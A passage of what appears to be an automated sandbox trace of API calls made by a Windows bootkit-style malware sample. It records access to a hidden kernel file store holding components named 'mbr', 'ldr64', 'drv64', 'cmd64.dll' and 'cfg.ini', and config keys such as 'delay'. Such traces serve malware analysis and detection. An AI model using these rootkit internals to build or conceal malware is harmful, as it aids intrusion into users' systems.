| out: Event=0xfffff880028b25d0) [0121.683] IdePortDispatch () returned 0x103 [0121.683] KeWaitForMutexObject () returned 0x0 [0121.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.683] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.683] IdePortDispatch () returned 0x103 [0121.683] KeWaitForMutexObject () returned 0x0 [0121.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.683] KeLeaveCriticalRegion () [0121.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.684] KeEnterCriticalRegion () [0121.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] KeLeaveCriticalRegion () [0121.684] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.684] KeEnterCriticalRegion () [0121.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.684] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] KeLeaveCriticalRegion () [0121.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.684] KeEnterCriticalRegion () [0121.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] ExFreePoolWithTag (P=0xfffffa8003bd6570, Tag=0x0) [0121.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] KeLeaveCriticalRegion () [0121.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.684] ReleaseMutex (hMutex=0xf0) returned 1 [0121.684] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.684] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.684] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.684] KeEnterCriticalRegion () [0121.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.684] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.684] IdePortDispatch () returned 0x103 [0121.684] KeWaitForMutexObject () returned 0x0 [0121.684] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.685] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.685] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.685] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.685] KeLeaveCriticalRegion () [0121.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.685] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.685] KeEnterCriticalRegion () [0121.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.685] IdePortDispatch () returned 0x103 [0121.685] KeWaitForMutexObject () returned 0x0 [0121.685] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.685] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.685] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.685] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.685] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.685] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.686] KeLeaveCriticalRegion () [0121.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.686] ReleaseMutex (hMutex=0x100) returned 1 [0121.686] Sleep (dwMilliseconds=0x2bf20) [0121.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bbb5e30, dwHighDateTime=0x1d24fa4)) [0121.692] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.692] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.692] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.692] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.693] KeEnterCriticalRegion () [0121.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.693] IdePortDispatch () returned 0x103 [0121.693] KeWaitForMutexObject () returned 0x0 [0121.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.693] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.693] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.693] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.693] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.693] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6d10 [0121.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.693] KeLeaveCriticalRegion () [0121.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.693] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.693] KeEnterCriticalRegion () [0121.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.693] KeLeaveCriticalRegion () [0121.693] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.693] KeEnterCriticalRegion () [0121.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.693] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.693] IdePortDispatch () returned 0x103 [0121.693] KeWaitForMutexObject () returned 0x0 [0121.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.694] KeLeaveCriticalRegion () [0121.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.694] KeEnterCriticalRegion () [0121.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.694] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b77000 [0121.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.694] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.694] IdePortDispatch () returned 0x103 [0121.694] KeWaitForMutexObject () returned 0x0 [0121.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.694] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.694] IdePortDispatch () returned 0x103 [0121.694] KeWaitForMutexObject () returned 0x0 [0121.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.694] KeLeaveCriticalRegion () [0121.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.695] KeEnterCriticalRegion () [0121.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] KeLeaveCriticalRegion () [0121.695] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.695] KeEnterCriticalRegion () [0121.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.695] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] KeLeaveCriticalRegion () [0121.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.695] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.695] KeEnterCriticalRegion () [0121.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] ExFreePoolWithTag (P=0xfffffa8003bc6d10, Tag=0x0) [0121.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.695] KeLeaveCriticalRegion () [0121.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.695] ReleaseMutex (hMutex=0xf0) returned 1 [0121.695] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.696] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.696] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.696] KeEnterCriticalRegion () [0121.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.696] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.696] IdePortDispatch () returned 0x103 [0121.696] KeWaitForMutexObject () returned 0x0 [0121.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.696] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.696] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.696] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.696] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.696] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6ac0 [0121.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.696] KeLeaveCriticalRegion () [0121.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.696] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.696] KeEnterCriticalRegion () [0121.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.696] KeLeaveCriticalRegion () [0121.696] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.696] KeEnterCriticalRegion () [0121.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.697] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.697] IdePortDispatch () returned 0x103 [0121.697] KeWaitForMutexObject () returned 0x0 [0121.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.697] KeLeaveCriticalRegion () [0121.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.697] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.697] KeEnterCriticalRegion () [0121.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.697] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b78000 [0121.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.697] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.697] IdePortDispatch () returned 0x103 [0121.697] KeWaitForMutexObject () returned 0x0 [0121.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.698] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.698] IdePortDispatch () returned 0x103 [0121.698] KeWaitForMutexObject () returned 0x0 [0121.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.698] KeLeaveCriticalRegion () [0121.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.698] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.698] KeEnterCriticalRegion () [0121.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] KeLeaveCriticalRegion () [0121.699] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.699] KeEnterCriticalRegion () [0121.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.699] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] KeLeaveCriticalRegion () [0121.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.699] KeEnterCriticalRegion () [0121.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] ExFreePoolWithTag (P=0xfffffa8003bc6ac0, Tag=0x0) [0121.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] KeLeaveCriticalRegion () [0121.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.699] ReleaseMutex (hMutex=0xf0) returned 1 [0121.699] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.699] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.699] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.699] KeEnterCriticalRegion () [0121.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.699] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.699] IdePortDispatch () returned 0x103 [0121.700] KeWaitForMutexObject () returned 0x0 [0121.700] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.700] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.700] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.700] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.700] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 